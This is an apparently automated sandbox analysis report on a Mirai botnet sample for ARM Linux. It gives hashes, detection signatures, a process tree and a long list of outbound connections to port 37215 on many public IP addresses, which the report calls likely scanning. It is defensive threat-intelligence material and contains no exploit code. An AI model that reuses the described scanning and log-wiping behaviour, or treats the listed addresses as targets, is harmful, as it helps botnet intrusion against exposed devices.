Edit tour

Linux Analysis Report
nig.arm4.elf

Overview

General Information

Sample name:	nig.arm4.elf
Analysis ID:	1363756
MD5:	c7e1090a1b9a8e38f2ab5384bd67bed6
SHA1:	71b2da0903952abd9417d14b59e8434486f3d90e
SHA256:	3b7b51e6d96097d016b4da0fae26d3fa738c6d601de46c30676afe0a7278b100
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Deletes system log files

Manipulation of devices in /dev

Uses known network protocols on non-standard ports

Deletes log files

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1363756
Start date and time:	2023-12-18 06:03:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nig.arm4.elf
Detection:	MAL
Classification:	mal80.troj.evad.linELF@0/1@3/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/nig.arm4.elf
PID:	5421
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	kuru is just better
Standard Error:

Process Tree

system is lnxubuntu20

nig.arm4.elf (PID: 5421, Parent: 5347, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nig.arm4.elf

nig.arm4.elf New Fork (PID: 5424, Parent: 5421)

nig.arm4.elf New Fork (PID: 5426, Parent: 5424)

nig.arm4.elf New Fork (PID: 5427, Parent: 5424)

nig.arm4.elf New Fork (PID: 5429, Parent: 5424)

nig.arm4.elf New Fork (PID: 5460, Parent: 5429)

nig.arm4.elf New Fork (PID: 5462, Parent: 5429)

nig.arm4.elf New Fork (PID: 5464, Parent: 5429)

nig.arm4.elf New Fork (PID: 5468, Parent: 5429)

nig.arm4.elf New Fork (PID: 5473, Parent: 5429)

nig.arm4.elf New Fork (PID: 5475, Parent: 5429)

nig.arm4.elf New Fork (PID: 5478, Parent: 5429)

nig.arm4.elf New Fork (PID: 5482, Parent: 5429)

nig.arm4.elf New Fork (PID: 5485, Parent: 5429)

nig.arm4.elf New Fork (PID: 5494, Parent: 5429)

nig.arm4.elf New Fork (PID: 5499, Parent: 5429)

nig.arm4.elf New Fork (PID: 5502, Parent: 5429)

nig.arm4.elf New Fork (PID: 5527, Parent: 5429)

nig.arm4.elf New Fork (PID: 5530, Parent: 5429)

nig.arm4.elf New Fork (PID: 5536, Parent: 5429)

nig.arm4.elf New Fork (PID: 5539, Parent: 5429)

nig.arm4.elf New Fork (PID: 5546, Parent: 5429)

nig.arm4.elf New Fork (PID: 5548, Parent: 5429)

nig.arm4.elf New Fork (PID: 5558, Parent: 5429)

nig.arm4.elf New Fork (PID: 5561, Parent: 5429)

nig.arm4.elf New Fork (PID: 5566, Parent: 5429)

nig.arm4.elf New Fork (PID: 5568, Parent: 5429)

nig.arm4.elf New Fork (PID: 5577, Parent: 5429)

nig.arm4.elf New Fork (PID: 5580, Parent: 5429)

nig.arm4.elf New Fork (PID: 5585, Parent: 5429)

nig.arm4.elf New Fork (PID: 5588, Parent: 5429)

nig.arm4.elf New Fork (PID: 5595, Parent: 5429)

nig.arm4.elf New Fork (PID: 5598, Parent: 5429)

nig.arm4.elf New Fork (PID: 5603, Parent: 5429)

nig.arm4.elf New Fork (PID: 5605, Parent: 5429)

nig.arm4.elf New Fork (PID: 5612, Parent: 5429)

nig.arm4.elf New Fork (PID: 5614, Parent: 5429)

nig.arm4.elf New Fork (PID: 5620, Parent: 5429)

nig.arm4.elf New Fork (PID: 5624, Parent: 5429)

nig.arm4.elf New Fork (PID: 5627, Parent: 5429)

nig.arm4.elf New Fork (PID: 5629, Parent: 5429)

nig.arm4.elf New Fork (PID: 5640, Parent: 5429)

nig.arm4.elf New Fork (PID: 5645, Parent: 5429)

nig.arm4.elf New Fork (PID: 5648, Parent: 5429)

nig.arm4.elf New Fork (PID: 5653, Parent: 5429)

nig.arm4.elf New Fork (PID: 5655, Parent: 5429)

nig.arm4.elf New Fork (PID: 5432, Parent: 5424)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
nig.arm4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5421.1.00007f3f7c017000.00007f3f7c02d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5426.1.00007f3f7c017000.00007f3f7c02d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nig.arm4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: nig.arm4.elf

ReversingLabs: Detection: 54%

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.9.204.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.36.129 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 44886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 56162

Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.28.74.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 19.205.88.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.107.9.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.35.129.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.15.137.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.164.98.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.140.116.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 155.253.82.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.207.193.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.199.56.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.147.171.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.211.112.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.105.228.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.39.93.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.211.43.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.222.102.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.61.168.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.42.227.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 121.98.46.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.134.29.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.53.37.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 13.41.183.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.144.83.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.149.2.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.130.193.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.44.73.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.227.65.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.76.175.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.124.70.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.57.106.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 207.19.37.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.39.2.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.138.52.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.124.46.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 25.148.179.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.127.143.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.104.80.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.159.61.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.180.245.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.138.70.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.112.16.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.193.38.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.166.142.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.16.115.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.221.197.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.181.238.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.47.29.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 178.164.116.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.253.139.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 78.48.81.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.154.128.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.33.145.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.234.103.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.48.179.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.166.225.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.214.134.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.172.159.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.119.91.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.161.150.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.106.62.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 126.63.39.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.213.62.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.32.223.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 105.46.2.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 135.99.58.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.126.221.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.42.243.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.116.129.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.167.207.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 122.147.248.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.163.241.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 86.21.47.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 76.188.2.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 204.133.159.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.248.26.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.116.201.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.231.159.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.180.124.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 126.18.130.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.181.196.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.219.97.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.31.83.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.205.179.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.226.125.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.148.8.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 178.51.153.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.91.51.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.127.26.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 148.98.189.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.209.234.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.39.19.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.90.118.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.55.22.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.17.43.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.126.155.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.246.77.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.155.118.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.243.178.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.135.90.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.118.49.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.117.89.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.36.166.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.77.89.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 217.216.46.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.214.203.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 190.149.211.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.147.210.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 196.224.99.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.172.94.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.241.179.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.99.178.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.244.214.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.101.137.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.105.100.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.174.182.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.214.152.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.154.154.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.209.251.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.164.192.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.7.101.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 121.194.61.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.142.150.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.201.140.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.133.121.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.151.76.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 71.86.105.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 110.90.166.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 218.238.143.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.117.152.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.245.75.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.110.125.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.151.156.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.240.108.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 158.234.102.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.60.45.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.122.197.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.101.135.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.163.30.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 178.26.220.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.25.110.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.61.225.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 209.63.164.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.254.38.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.138.163.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.198.98.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.41.81.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.252.195.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 158.165.10.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.240.11.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.50.65.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 162.60.3.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.223.102.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 82.164.117.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.52.243.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.110.97.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.90.153.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 9.133.143.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.65.16.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 42.192.25.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 139.85.80.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.122.145.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.131.126.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.99.38.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.21.26.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.242.31.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.163.47.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.42.94.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 188.47.125.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.67.51.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.36.19.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.126.210.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 40.63.148.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 44.55.5.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 36.166.100.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.104.201.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.206.5.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.111.249.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.53.161.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 17.169.174.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.106.103.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.149.95.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.2.228.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.26.77.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.182.175.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.45.248.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.199.180.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.87.225.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.137.48.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.89.78.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.138.71.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.210.252.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.77.58.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 223.140.56.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.133.9.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 162.238.18.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.13.240.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.48.186.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.67.197.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.173.24.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.24.6.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 18.128.57.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 202.237.221.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 152.221.193.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.167.153.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.67.244.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.187.26.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.223.84.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.24.203.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.79.65.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.105.32.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.44.2.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.183.191.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.41.64.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 39.177.164.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.109.28.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.117.159.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.250.216.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.241.2.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.211.2.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.140.97.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 68.119.30.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 63.195.57.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.241.224.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.237.161.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.251.214.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.82.129.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 178.143.73.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.162.187.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.172.248.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 158.107.222.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.121.232.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 63.228.6.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.30.52.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 5.3.143.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.212.82.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.129.104.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.74.115.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.66.238.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.199.71.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 86.30.105.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.98.115.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.228.197.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.173.123.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 120.99.155.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 194.26.48.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.59.222.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.95.106.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.5.117.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.84.43.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.162.215.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.5.37.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.67.91.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.232.203.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.193.179.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.187.208.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.225.40.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.175.159.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 125.98.46.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.113.98.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.161.226.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.40.19.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.5.111.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.170.170.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.168.83.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 135.144.185.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.73.19.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.112.16.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.12.100.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.77.2.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 41.16.145.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.186.1.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 184.80.83.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.36.5.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 155.82.175.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 157.57.221.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:60088 -> 197.14.231.249:37215
